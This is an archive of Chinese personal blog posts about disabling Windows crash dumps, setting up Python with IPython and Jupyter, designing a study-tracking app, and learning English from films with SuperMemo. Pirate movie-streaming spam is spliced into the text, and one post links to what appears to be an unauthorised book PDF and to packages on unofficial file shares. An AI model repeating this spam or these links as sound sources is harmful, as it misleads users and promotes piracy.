  • 逐层进入这里:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps
  • 将DumpCount设置为0,意思是,一个dmp文件都不让你生成;
  • 将DumpType设置为0,这个其实不设置也没问题(未进行深入测试),顺手设一下吧!
  • 重启操作系统;

SNAG-0132

把以上工作做完后,舍得先打开Everything以便监测dmp文件的生成情况,再运行Razer的雷云程序……擦,怎么还有dmp文件生成?

SNAG-0133

吓舍得一跳。定睛一看,嘿嘿,这文件只有377KB,而且,以往它要往CrashDumps文件夹下钻的,现在,它只能乖乖地呆在自己的文件夹下。

几百K的文件,舍得还是能承受滴。

至此,问题基本搞定。Watch movie online The Transporter Refueled (2015)

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

Python:起步

Hi,我是舍得。

六年前,我为了给SuperMemo设计一个辅助工具,无意中撞进Python这个圈子,从此,一发不可收拾。

当时,我的编程知识几乎可算是零基础。真要认真滴追根溯源的话,嗯嗯,我在2000年左右开始接触asp,做过几个网站,然后慢慢学了点PHP,直到2009年,建了一个叫“舍得学苑”的网站。然而,毫不客气的讲,这些对于我后来学习编程,帮助真的不大。

都说学编程最好有不错的英语基础。这倒不假。你若能有一定的英语阅读能力,在Python的学习中,可以直接去查看各种英文文档。

不要被”英语基础“这四个字吓倒。舍得的英语基础并不好,当年在读技校的时候是没有英语这门课的。so,我的“原始”英语基础仅仅是初中水平。能读英文文档,完全是后来慢慢一步步积累起来的。我能做到的,你自然也能。

为什么选Python?

这个嘛,我还真没办法告诉你一个完全正确的答案。

我只能很唯心滴讲几点自己的看法:

  • 简单,学习成本低:连我这零基础的都学得会,六年间,开发了转换精灵、课程助手、课程编辑器等软件,自然是因为Python的学习成本够低;
  • 开发速度够快:写几行代码,随时可以运行一下看到效果;
  • 大量的库可用:你不必自己去造轮子。自带的标准库不必再说了,读写excel有xlrd/xlwt,数据分析有pandas,数据库工具可选用sqlalchemy,打包可以用cx_freeze……

    至于图形界面的开发,可以使用PyQt,同样非常的方便。

    如何开始?

    俗话说,万事开头难。这个一点不假。

    难在哪里?

    难在刚开始的时候容易碰到各种卡到你的问题,这确实是一件让人扫兴的事情。所以,若能让学习之路变得更好走一些,让学习的曲线更平坦一些,无疑会帮助我们更快地度过学习的起步阶段。

    那么,从哪开始呢?

  • 给自己的电脑上装上python,舍得根据目前的Python的现状,推荐安装Python3.4.x。3.3及以前的版本,有些常用的库慢慢地不再支持,而3.5及以后的版本呢,也有一部分的库还来不及支持它,所以当下最适合的版本是3.4.x。舍得会在文末放出相应的下载地址,当然,你也可以去官方下载;
  • 阅读《Head First Python》。刚学Python时不要去读太多书!最好的学习方式是边读书,边敲代码来验证、来获得最直观的体验,代码执行的结果会让你明白,哦,原来书中讲的是就是这个!我们不需要知道为什么写这个代码可以获得这样的结果,我们只要记住,这个代码可以让你实现这种效果,下次这么去用就行了。《Head First Python》是Python入门类书籍中的佼佼者,舍得竭诚推荐优先食用;
  • 使用一些工具,来加快学习过程,提升学习效率。这个呆会舍得再细讲;

    之后怎么学习?

    严格地讲,这个话题应该留到以后。不过舍得觉得,先预告一下也无妨:

    • 进一步完善开发环境:安装PyQt4、Eric6,还有一些常用的库;
    • 从PyQt4的官方范例入手学习:这是最快的学习方式之一。官方范例大多短小精悍,你可以像舍得一样,走”修改流“路线,把它们修修改改,跟捏橡皮泥一样,最后捏出的东西跟你自己的作品一样。这个跟刚开始学自行车一样,一开始有人帮忙扶着、看着,骑得熟了,慢慢不用扶,不用看了,你就学会骑车了;

    如何用工具来提升学习速度?

    前面舍得讲到,我们要在看书的同时,做相应的练习。这个练习,可以用Python自带的Shell来完成。但老话说的好,工欲善其事,必先利其器。用自带的Shell来做练习,太过原始了。现在,我们可以有更好的办法。

    方法一:安装ipython。这是一个python的交互式的shell,比自带的强太多了。下面舍得直接讲安装办法(注意,以下所用到的安装包均会在文末提供下载,操作系统为windows-win7或win8,示例用的Python默认安装路径为”C:\Python34”):

    1. 先将舍得提供的ipython-5.1.0-py2.py3-none-any.whl文件解压到Python34\Scripts文件夹下;

    2. 打开命令提示符窗口,转到python下的Scripts文件夹下:

      • 按Win+X组合键,从弹出的快捷菜单中选择“命令提示符(管理员)”;
      • *如果你的系统盘和Python安装位置并不在同一分区,比如你将python装在“D:\Python34”下,而系统盘是C,那么需要输入“D:”再敲回车;
      • 输入“cd\Python34\Scripts”,然后敲回车, 就会进入Scripts文件夹下;

    3. 输入“pip install ipython-5.1.0-py2.py3-none-any.whl”,再敲回车;

    4. 如果没有出现错误提示的话,你可以Scripts文件夹下找到“ipython3.exe”这个文件,用鼠标右键点击它,然后从弹出的菜单中选择“发送到->桌面快捷方式”,以后只要运行它,就可以在这个ipython的窗口下敲敲代码来学习了!

    SNAG-0127

    方法二:安装notebook。这是一种更高级、用起来更爽的方式,舍得以后发的部分文章,会发布相应的notebook文档。这个需要安装多个包,下面一一讲解:

    1. 将下面用到的whl文件解压到Python34\Scripts文件夹下;

    2. 打开命令提示符窗口,转到python下的Scripts文件夹下,具体方法详见方法一;

    3. 输入“pip install pyzmq-16.0.2-cp34-cp34m-win32.whl”,再敲回车;

    4. 输入“pip install Jinja2-2.8-py2.py3-none-any.whl”,再敲回车;

    5. 输入“pip install tornado-4.4.2-cp34-cp34m-win32.whl”,再敲回车;

    6. 输入“pip install notebook-4.2.3-py2.py3-none-any.whl”,再敲回车。理论上3-5步可以不做,直接做第6步也行,但那样靠它自已去获取相应的依赖包(就是3-5中的这仨),下载速度可能会比较慢,有时甚至会安装中断,推荐这样逐个安装;

    7. 以上工作完成后,你可以Scripts文件夹下找到“jupyter-notebook.exe”这个文件,用鼠标右键点击它,然后从弹出的菜单中选择“发送到->桌面快捷方式”,当然你可以双击它直接运行;

    8. 双击运行jupyter-notebook.exe,程序会在你的浏览器(推荐在系统内安装chrome,如果你还在用IE系列的浏览器,辣么,是时候告别它了)中打开Jupyter的页面。这是jupyter-notebook利用tornado这个web框架搭的一个本地服务器——如果你对这些名词不熟悉,先别管它,你只要知道,执行这个程序,你就可以在浏览器中敲代码来学习。

    9. 在Jupyter的页面右侧找到并点击”New“按钮,从下拉菜单中选择”Python3”:

    SNAG-0129

    10. 我们可以在接着打开的页面中输入代码,输入到前面带“In”字样的文本框内即可,然后点击SNAG-0131按钮,就可以看到代码执行后的效果。

    SNAG-0130

    11. 每天用Jupyter notebook一一敲完当天所学、所用过的代码后,你可以点击左上角的”File”按钮,然后从菜单中选择“Download as->Notebook”,可以把当天的学习成果存成”ipynb”格式的文档,供以后回顾、复习使用。这个,就是ipython所不能提供的功能,更不用说python自带的shell了。

    还有什么高效的工具?

    要想快速度过起步时的困难阶段,缩短“新手期”,降低学习成本,将新学到的知识点牢牢记住是最佳的选择。

    而记住这些知识点,靠什么?一是反复地练习,二是有目的、有针对性地去复习。

    舍得建议大家使用SuperMemo UX来帮助自己复习每天新学到的知识点。这个软件的使用并不难,具体的使用方法,舍得会撰写专文讲解。在后续的话题展开过程中,舍得也会制作一些相应的SuperMemo课程,来帮助大家提高学习效果。

     

    好了,Python的起步部分就先介绍到这里。顺便提供本文中讲到的一些工具的下载:

    一、Python 3.4.4.msi

    链接:http://pan.baidu.com/s/1kVDbPyf 密码:oqba

    二、《Head First Python》中文版,pdf格式,相应的阅读器请自行下载,推荐使用百度阅读器。

    链接:http://pan.baidu.com/s/1c1O5g7A

    三、Python推荐安装包:

    链接:http://pan.baidu.com/s/1dFHrKK5 密码:so4k

     

    本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
    作者:舍得
    首发:舍得新浪博客

  • 开发代号:MTD

    舍得之所以搞了一个叫做"开发代号"酱紫看似颇高的词汇,着实是因为一时半刻,还没有给这款软件想好名字,说不得到时还要在学苑内搞一次征名活动,好充分利用一下广大童鞋的智慧。

    自然,这个MTD也不是瞎编出来,它是有出处滴。MTD的叫法源自GTD。估计还有一小部分童鞋不知道GTD是啥,且容舍得来小小科普一下。

    GTD的全称叫Getting Things Done。它一开始是David Allen在2002出版的一本畅销书的书名,中文版书名译为《尽管去做:无压工作的艺术》,但舍得觉得台湾地区的版本译名略吊,它叫《搞定!2分钟轻松管理工作和生活》。

    David Allen提出,必须记录下来要做的事,然后整理安排并使自己一一去执行。广大吃瓜群众一看,这个好啊!行动力较强的一拨人纷纷开始实践,因此催生出一批GTD的软件,舍得觉得这些软件中比较成熟的有wunderlist(奇妙清单)、TickTick(滴答清单)、any.do、Omnifocus、Doit.im和Remember the milk等。

    进入正题之前,先简要对这部分软件作一下点评:

    • wunderlist:德国人开发,现已被微软收购。wunderlist在各种你能想到的主流平台上都发布了针对性的版本,逻辑清晰,颜值颇高,而且各个平台间同步飞快。推荐食用;
    • TickTick:美国人开发,它和wunderlist相比最大一弱势是没有放出Windows平台的客户端,有的只是一款安卓浏览器的插件。它和wunderlist相比,优势之处在于多了一个使用语音输入的功能;
    • any.do:同样是美国人开发的软件,Windows上和TickTick一样,只有Chrome的扩展可用。
    • Omnifocus据称是GTD的神器,刚出的时候舍得在iphone和mac上用过一段时间。最大的问题是,你没法在Windows和安卓上使用它;
    • Doit.im: 收费,每月10块。按说现在一碗面都10-15块了,这个价格并不算贵。但问题是,它所拥有的软件特性,wunderlist丝毫不比它差,那为啥还要找付费的?不推荐食用;
    • Remember the milk:最大的问题是,它的所有操作是必须靠网络来完成,没网络你啥都干不成。对于GTD类软件来说,这也算是自绝于天下的一大狠招了。不推荐食用;
    • ThinkingRock:曾被称为“最好的GTD软件”。的确,从概念上看,它可能算是照搬GTD书上做法最彻底的一个。但是,软件是拿来用的,这个软件在易用性上已经做到快落后一个时代了。使用上尚且做不到方便快捷,舍得有何理由来推荐呢?有人说,它现在变得非常非常漂亮,我勒个去!毫不客气地说,它的颜值,离舍得开发的软件相比,还特么差一个档次呢!

    MTD的英文全称参考了GTD,叫做Making Things Done。真要细究的话,可参考supervise(监督、管理、指导)一词的英文释义:make sure that everything is done。get和make这两个词,从英文上讲,make更显主动一些。你要get(得到)一样东西,总得有人给吧?这就意味着主动权不在自己手中。有人说,get还有“抓住”之意,但是,你要“抓住”一样东西,这样东西得先存在吧?make就不一样了,没有机会,我们可以创造机会啊!老话说的好,有困难要上,没有困难,我们制造困难也要上啊……君不见,连love这种人人喜欢的东西,用的动词都是make么?你若见到有人用get love,会不会小小地惊讶一下?

    既然GTD软件这么丰富了,舍得为啥还要开发一个MTD?这得从GTD类软件自身的缺陷说起。

    • 这类软件通常是三层左右的结构,清单(或者叫项目)->任务->子任务。这种分法没有问题,然而,绝大多数软件不支持这三者之间的自由转换。举个栗子,你建了一个任务,之后发现若把它放到另一个任务下,作为该任务的子任务……抱歉,你做不到;
    • 到子任务一级,你所能做的操作极少,只能做:改变任务的名称、标记任务为已完成和删除任务;
    • 对重复性的任务支持非常薄弱。莫非在GTD看来,事情大多是那些临时从哪冒出来,而且做完就拉倒,不需要隔一段时日重复执行的么?非也。无论是工作和生活,那些内容一样或相似的重复性事务,占据了相当大的比重。比如日常健身,学生的功课学习等;
    • GTD只能帮你记录你做了、做过哪些事务,至于你在这些事务上花了多少时间,做了多少量,完成的效率如何,它根本没有涉及。或许是因为GTD的开发者们太过推崇David Allen的原始理念,以至于丝毫不敢有自己的想法去拓展了。

    很久以前舍得就有一款类似MTD的软件的构思,当时的想法有点接近蕃茄钟的做法。为了不使下面的描述太过枯燥,舍得将情境设定为健身。我们可以提前就健身项目做出一些计划——大家都知道,这些事务大多重复性很强。在开始某项健身训练的时候,让程序开始计时,而当训练完成的时候,再将计时终止。中间我们还可以随意地暂停……这样训练结束时,我们就得到了相对精确的训练时间。当这个数据积累到一定程度的时候,我们便可以让程序帮助分析。随着记录的逐渐增加,那种随时可以查看的训练量不仅会带给你小小的成就感,还会让你欲罢不能——哇,这么多的训练我都坚持下来了,放弃掉实在太可惜了!

    健身,只不过舍得设定的情境之一而已。还有学习,不论是已出校园的还是没出校园的,有MTD这类软件的帮助,效率会更高,动力更足。小日本便开发了这样一款软件,它叫StudyPlus。舍得来介绍一下这款软件,因为,它基本上可以算是舍得用来设计MTD的一个重要的参照范本。

    在StudyPlus中,项目不再叫项目,而叫做“书架”,而GTD中的任务,则变成了一本本教材:

    教材

    你可以把学习时要用到的教材一一记录进去。每本教材可以进行设定(下图中的“勉强”,日文中的意思就是“学习”),除了贴标签以便查询和统计,还可以设定学习量的单位,比如页或章。

    教材设定

    下面点击教材进入学习状态,对于GTD来说,每一次学习相当于执行一个子任务:

    学习

    类似蕃茄钟的设定。但没有蕃茄钟那种必须事先设定好学多久才肯开始干的尿性。

    中间可以随时暂停,学习结束后点“终了”,来到记录页面:

    记录

    当前这本教材学习用了多少时间,学了多少内容(章节或页,或其他你觉得方便统计的单位),都可以记录在案。如上图所说(图不是舍得抓的,是借的,借的),程序还能记录下你这次学到了第几章,下次直接接着搞就OK。

    接下来是统计功能闪亮登场:

    统计1

    我们还可以按分类(科目)进行统计,比如图中的GMAT不止是一本书:

    统计2

     

    如果觉得这个数据对你没啥触动,来看看某学霸级用户的记录:

    半年统计

     

    这样的数据,对使用者自己来说,本身就是一种强有力的激励。

    都说了这只是一个参照范本,舍得想做的MTD,除了将结合GTD在处理随机、分散性事务上的优势之外,还将在数据分析上进一步深挖,比如,不同时段之间学习效率的对比,特定时段不同教材、科目之间所用时间的占比,这些数据的挖掘和分析,可以帮助我们找出已完成事务的缺失或不足,从而更好地规划下一步的学习和工作。

     

    本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
    作者:舍得
    首发:舍得新浪博客

    标签:

    新转换精灵:超级脚本

    2015-12-21_18-36-39Watch Full Movie Online Streaming Online and Download

    舍得在之前的开发手记中介绍了脚本和宏的概念,它们给课程制作带来了很大的便利。那么问题来了,这“超级脚本”是什么鬼?
    先简单来温习一下脚本和宏。脚本是用来快速制作一个课程的,换句话说,一个脚本可以把一个课程的各种题型轻松搞定;宏是用来处理源文本的。
    从上面的界面我们可以看到,超级脚本把宏和脚本“捆绑”在了一起。那超级脚本到底是做什么用的呢?为什么要在“脚本”上再加“超级”二字?它和脚本到底有何关联?为什么有了一个“六人行”的脚本,还要再来一个同样叫“六人行”的超级脚本?
    其实很简单,脚本是用来制作一个课程的,而超级脚本是用来制作多个课程的。当然它有个前提,这些课程的配置是一样的。有了这项超级脚本功能,只要我们把基础工作做好——比如设计好相应的宏和脚本,处理好源文本等等——我们就能一键完成多个课程的制作。

     

    本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
    作者:舍得
    首发:舍得新浪博客

    标签:

    Watch A Gentleman (2017) Streaming Online Free

    A Gentleman (2017)

    Release : 2017-08-25
    Country : India
    Language : हिन्दी
    Runtime : 132
    Genre : Romance,Comedy


    Streaming Movie A Gentleman (2017) Online

    Synopsis

    Watch A Gentleman Full Movie Online Free. Movie ‘A Gentleman’ was released in 2017-08-25 in genre Romance,Comedy.
    Gaurav dreams of settling down with Kavya, the woman of his dreams, but she prefers a man who’s more adventurous and willing to take risks. He soon stands to lose everything when a case of mistaken identity rocks his once-happy life.

    Streaming Movie A Gentleman
    (2017) Online

    Incoming search term :

    Watch A Gentleman Full Movie Online Free Streaming In HD Quality, watch full A Gentleman movie, Watch A Gentleman 2017
    Online Free Viooz, Watch A Gentleman 2017 Online Free, Watch A Gentleman 2017 Online Putlocker, film A Gentleman
    online, Streaming A Gentleman 2017 For Free Online, streaming movie A Gentleman 2017, A Gentleman film trailer,
    A Gentleman movie trailer, live streaming film A Gentleman 2017, Streaming A Gentleman 2017 Online Free Megashare,
    movie A Gentleman streaming, Watch A Gentleman 2017 For Free online, film A Gentleman 2017 online streaming,
    download A Gentleman 2017 movie now, movie A Gentleman 2017 download, watch full movie A Gentleman 2017, trailer
    film A Gentleman 2017, Watch A Gentleman 2017 Online 123movies, Watch A Gentleman 2017 Online Free 123movie, Watch
    A Gentleman 2017 Online Free Putlocker, movie A Gentleman 2017 trailer, Watch A Gentleman 2017 Online Free
    netflix, watch A Gentleman film online now, A Gentleman 2017 movie streaming, A Gentleman 2017 Watch Online, Watch
    A Gentleman 2017 Online 123movie, download movie A Gentleman, Watch A Gentleman 2017 Online Free megashare, watch
    A Gentleman movie now, Watch A Gentleman 2017 Online Free hulu, Watch A Gentleman 2017 Online Viooz, live streaming
    movie A Gentleman 2017, A Gentleman live streaming film online, movie A Gentleman 2017, Watch A Gentleman 2017 Online
    Megashare.

    标签:

    变革:转换精灵


    0.9.4版的转换精灵虽然其功能已经足够强大,但受目前的结构影响,设置起来比较麻烦.
    以前的转换精灵需要先载入源文本,读取栏位,然后建立模型. 所谓的模型就是在Q/A区添加各种题型,题型需要一一设置——这不是关键,关键是几乎每个模型都需要对每一个用到的元素(音频/图片/文本等)和题型(选择/填空/是非等)进行设置, 虽然从理论上我们可以设置出无数多个模型,来适应不同场合的需要,但当模型一多,挑选模型是一个非常费事的活儿. 因为,在目前的机制下,你要选对模型,必须逐个查看设置!时间就酱紫浪费掉了.
    设计完模型就够了?nonono,在以前的转换精灵中,必须还要做一项叫"课程设置"的工作. 这项工作的重点是设置章节标题/练习说明/子类等要素. 当初舍得把转换精灵设计成这样是为了让模型和课程设置有一个灵活的搭配,现在在不断的实践中发现,这项设计着实有些多余.
    so,到了变革的时候.
    变革第一步,将模型和源文本分开,模型的设置不再依赖于源文本,酱紫做的坏处只有一个:制作课程时所用的源文本必须采用符合转换精灵规范的标准栏位名称,比如说,单词所在的栏位就叫"单词",单词释义所在的栏位就叫"释义",等等;
    变革第二步,增加元件库,将元素和题型(原来都叫题型)事先做成一个个的元件,比如选择题下面可以按不同的配置做成各种元件:标准单选题,随机单选题,标记式多选题等等,音频元素同样可以做成各种元件,如:词汇自动美音,词汇手动英音,例句手动语音等等,力求一看到元件名称就知道这个元件是如何配置的. 提前设计好的元件基本上可以照顾到各种不同的变化, 几乎可以一劳永逸;
    变革第三步,将模型设计界面改成如WordMaster那种直观设计的方式, 我们只要把元件逐个拖到Q区或A区就OK了! 这样繁琐的模型设计变成了堆积木游戏,把预先设计好的元件一个个组装起来, 一行文本经过一个模型处理,就变成了课程中的一个页面;
    变革第四步,将模型设置和课程设置进行合并, 实在不适合合并的, 放到脚本或选项中另行处理. 如此一来, 制作课程的过程可以简单到只设计几种模型就OK了.
    上面这些变革, 可以让转换精灵变得更加简单, 更容易操作. 我们在选择模型的时候, 只要浏览模型中的元件是否符合我们的要求就OK. 如果可行的话, 我们甚至可以给每个模型加上使用次数的记录(比如说最受欢迎题型), 加上星级标记, 加上标签——再在这基础上开发一个根据标签来快速查询符合我们要求的模型——连浏览都可以免了。
    这些就够了?答案依然是no.
    变革第五步,完善转换精灵的脚本模块。在脚本中,我们可以把一个文本交给多个模型来处理, 也可以把不同的文本交给不同的模型来处理. 这仅仅是以前转换精灵脚本模块就有的功能, 我们要在这基础上让脚本可以临时给元件赋予属性, 比如说在脚本中指定词汇语音统一用美音还是英音, 例句语音库是用A还是用B, 选择题的样式是用竖排还是横排等; 我们还可以给脚本增加"否决"元素, 可通知模型在制作的时候不要加入带例句的元件, 或不要加入带音标的元件……这些措施, 都是为了提供元件和模型的通用性.
    舍得相信, 只要我们肯动脑筋, 工作总是可以越做越好. 改善, 永无止境!

     

    本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
    作者:舍得
    首发:舍得新浪博客

    标签:

    利用影视素材制作课程的两种方法

    英文版的电影和电视剧是我们英语学习的一个重要素材来源。它可以兼顾到我们英语学习的多个方面,比如词汇、听力、语法、理解,再往细里讲还有语感的培养、口语的训练等等。

    遗憾的是,这些素材并没有得到充分的利用。好多学习者只是看过一次两次就算了,稍好一些的学习者会去反复地看,抠其中的生词和句子。

    将这些影视素材制作成SuperMemo的课程,可以弥补这些遗憾。

    制作课程的方法有两种,第一种是将剧中音频切割成以句为单位,然后制作成课程,这种课程的制作门槛并不高。第二种是利用剧中的素材设计出新的学习内容,这需要有一定的教学经验作支撑。

    舍得先简单介绍一下第一种方法。

    音频切割其实不算多复杂的技术活,推荐的工具是Aboboo,这是一款非常优秀的学习辅助工具,舍得制作的《六人行》1至4季全部是在Aboboo上剪辑完成的。

    Aboboo的优点在于可导入字幕文件,对音频进行分割。而且在剪辑过程中,对句子的起始点调整、中英文字幕编辑非常之方便。最重要的是,剪辑完成之后,你可以从Aboboo中导出分割好的音频,以及相对应的中英文字幕。

    拿到经Aboboo处理后的中英文字幕以及句子音频后,我们只要对字幕和音频文件简单处理一下,就可以用转换精灵制作出具有丰富题型的SuperMemo课程。

    课程的题型可以有以下几种:

    • 听写题:听一段句子的录音,然后将听到的内容拼写出来,着重练习英文听力,顺带检测英文的拼写能力。在SuperMemo中做这样的听力训练拥有得天独厚的优势:你可以将绝大部分时间集中在那些你听不出来的句子上,而不用象传统练法那样,把时间耗费在那些你已经完全能听懂的句子上;
    • 排序题:又称直觉造句,将一个句子打乱,让你去把句子重新排列出来。有时即便句子中的所有词汇你都非常熟悉,也未必能将句子正确排列出来。这种练习着重训练你的语感,你所学习的语法知识将在这里利到充分的检验;
    • 中译英:不要仅仅将它看作是一种翻译练习。这实际上是一种变相的口语练习,中文提示部分就是你要英文来表达的内容,你可以在练习时,看到中文,立刻用英文把它说出来,然后,和”原版“的录音对比一下,找找发音上的差距;
    • 英译中:同样不要仅仅把它当作一种翻译练习。去听、去看。听这个句子时,你要思考的是,这个人在说什么?——这正是我们在实际交流中的正常反应。看这个句子的时候,你要想的是,这句话讲的是什么?——这恰恰是阅读过程中的反应,常做这种练习,阅读理解能力能够快速提升;
    • 选择题:从句中抽取词汇,并加入干扰词,做成选择题,着重考量词汇的掌握;
    • 除此之外,可以将剧中的生词全部抽取出来,做成各种题型,以用来强化词汇的掌握。词汇的题型有:单词听写、词义回想(看单词,回想词义)、回想单词(看词义,回想单词)、看图识词、单词选择题、单词匹配题等等;

    经过这样的处理,影视剧素材可以得到充分的利用,我们可以用它来进行近乎全方位的语言训练。

    再来看一下第二种方法。

    举几个例子,比如《Fifty Shades of Grey》这部电影,我们来设计几个简单的练习:

    场景一:Anna代替室友采访Grey:

    2

    最简单的做法是把句中的Whenever挖掉,考察Whenever这个词,更进一步的话,我们可以把Whenever you are整句去掉,考察“随时可以”的表达方式。我们还可以加上语音,把提示的中文去除掉,或者,给出英文,让学习者说出句子的意思。

    思路可以很多,我们在场景二、场景三中可以采用类似的思路:

    场景二:Anna说,你这么年轻就建立了如此庞大的商业帝国,你的成功靠的是什么?下面是Grey的回答:

    4

    答案分别是motivates,incentivizes,inspires,第一个词难度最低,第二个词难度最大,第三个词虽然还算常见,但你在应用时未必能做到顺手拈来。用电影做素材的好处是,电影中的有些句子、词汇用法你在吃透后很快就可以吸收,让它们变成自己语言中的养分。而用SuperMemo完成这项工作,你可凭借SuperMemo优异的复习算法,轻松而高效地掌握这些语言要点。你可以把场景固化到大脑中,在自己碰到类似场景时稍作检索,便可取出来应用。

    再来看场景三:Anna追问,你的成功靠的是运气么?Grey说:

    6

    答案是Identifying talents in individuals.当然,你也可以对“key to my success”挖空进行提问。总之角度有很多种,不同的角度考察不同的内容,只要你善于运用素材,你可以从一部电影中吸取足够多的养分,在足够的练习支撑下,语言技能想不提升都难!

     

    本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
    作者:舍得
    首发:舍得新浪博客

    标签:

    看电影、电视剧学英语,怎样更有效?

    看电影、电视剧学英语,这个方法并不新鲜。

    其实,电影也好、电视剧也好,跟VOA、BBC的广播一样,只是学习素材的一种而已!只不过,前者比后者多了故事,趣味性更强一些,也更生活化一些。窃以为对于口语训练来讲,前者更为适合——有些句子稍作改装、甚至可以不必改装就能直接在工作、生活中应用。VOA、BBC则由于题材的关系,更偏向于书面语。

    那对于电影、电视剧这样的素材,怎样学习更有效?这是个非常有趣的话题。

    大体来讲,学习的方法分为两大类型,巧的是,这两大类型和阅读中的“泛读”和“精读”正好对对应起来。

    第一大类型的学习是“大量地看,基本不看重样的”,这跟泛读类似,通过大量的阅读输入来从中自然吸收语言的养分。优点很明显:材料新鲜,学习很有意思。缺点也同样明显:学习不够深入, 而且很容易在“看”的过程中被剧情带跑。就象“泛读”不能取代“精读”一样,只靠这种方式来学习,就象只用一条腿走路一样,相当于自己给自己设置障碍。明明可以走得更快、更稳,何苦将另一条腿绑起来走呢?

    第二大类型恰如阅读中的“精读”,看一部电影、一集电视剧,力求从听、说、读等维度把其中的语言点吃透。这种方式也并非什么新鲜事物,钟道隆教授的“逆向法”,郑赞荣先生的“千万法”,用的不正是这种“精读”的法子么?streaming Spider-Man: Homecoming movie

    从上面这两类学习方法中,舍得认为还是可以分一分主次的。对于大多数童鞋来说,应是以“精读”为主,“泛读”为辅。以精读来保证学习的深度,以泛读来保证学习的广度(输入量)。

    舍得不想过多讨论第一种方法,主要来讲讲“精读”中还有哪些文章可以做。Watch movie online The Transporter Refueled (2015)

    “精读”中有几个要点。我们从听、说、读等几个方面拆开来看:

    • 听:将电影、电视剧(以下称“素材”)的语音部分听清、听懂;
    • 说:模仿语音,操练舌头,尽可能做到形似乃至神似;
    • 读:用“精读”的方式去处理素材的文本部分,举凡生词、难句,争取逐一攻克;

    从实际的操作中舍得发现一种更有效的方式。我们可以将素材分解成以句为单位,借助SuperMemo的算法,可极快地筛选出哪些是早已掌握的,哪些是稍微花些心思能掌握的,哪些是生词和难句。在SuperMemo的帮助下,完全可以避免传统的学习方法的弊端,避免把时间浪费在已掌握的语言点上,而是把时间和精力集中在那些听不清、听不懂、读不熟、记不住、无法解析的内容上,这样的学习无疑是事半功倍的。

    也曾有童鞋说,你这样子学法,把学习搞得单调、乏味。亲,技能的学习大多是单调、乏味的。比起反复看同一集电视剧(或电影),比起钟教授的“逆向法”,郑先生的“千万法”,使用SuperMemo来吃掉素材,反而是更轻松,更有趣味的。想不单调、乏味,那就采用“泛读”的方式去看电视剧——光靠这个进展极慢。不然,天天追美剧的人岂不是个个英语牛X透了?

     

    本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
    作者:舍得
    首发:舍得新浪博客

    标签: